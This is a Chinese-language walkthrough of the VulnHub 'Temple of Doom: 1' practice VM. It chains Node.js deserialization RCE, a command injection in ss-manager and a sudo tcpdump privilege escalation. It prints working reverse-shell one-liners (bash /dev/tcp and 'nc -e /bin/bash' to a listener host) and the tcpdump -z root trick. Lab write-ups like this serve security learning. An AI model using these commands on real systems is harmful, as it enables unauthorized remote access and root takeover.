VulnHub-Temple of Doom: 1 靶场渗透测试
时间:2021.3.18
靶场信息:
地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/
发布日期:2018年6月8日
目标:得到root权限&找到flag.txt
一、信息收集
1、获取靶机IP地址
nmap -sP 192.168.43.0/24
由探测结果可知,靶机的IP为192.168.43.4
2、扫描开放的端口和服务
nmap -sS -sV -T5 -p- 192.168.43.4
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
666/tcp open http Node.js Express framework
3、网站信息收集
用dirb爆破一下目录
用burp抓包看看
在请求包中发现了被编码的cookie,我们发送到Decoder模块去解码
Cookie: profile={"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}
根据之前nmap的探测,以及响应的页面源码中可以看出网站用的是node.js框架并且第79行有问题,我们检查一下base64解密之后的cookie发现"Expires=":后面少了一个",我们补全,再编码发送
二、漏洞探测
然后网上搜索发现可能可以利用Node.js反序列化错误进行远程代码执行的漏洞
利用生成payload
将生成的payload拼接在_$$ND_FUNC$$_后面并base64编码,然后本地监听443端口,发送修改过的请求包之后即可反弹shell
进入home目录,发现一个fireman目录,没有权限
三、漏洞利用
发现ss-manager存在命令执行漏洞
构造payload
add: {"server_port":8003, "password":"test", "method":"||bash -i >& /dev/tcp/192.168.43.50/6666 0>&1|"}
本地监听6666端口,然后看看能不能sudo提权
四、提权
存在tcpdump,找找提权的方法
echo "nc -e /bin/bash 192.168.43.50 7777 "> shell.sh
chmod +x shell.sh
nc -lvp 7777 (kali中开启监听)
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
总结
这台靶机的考点还是挺多的,很多都是没有见过的漏洞,从Node.js到ss-manager,最后tcpdump提权。
趁着年轻,多学些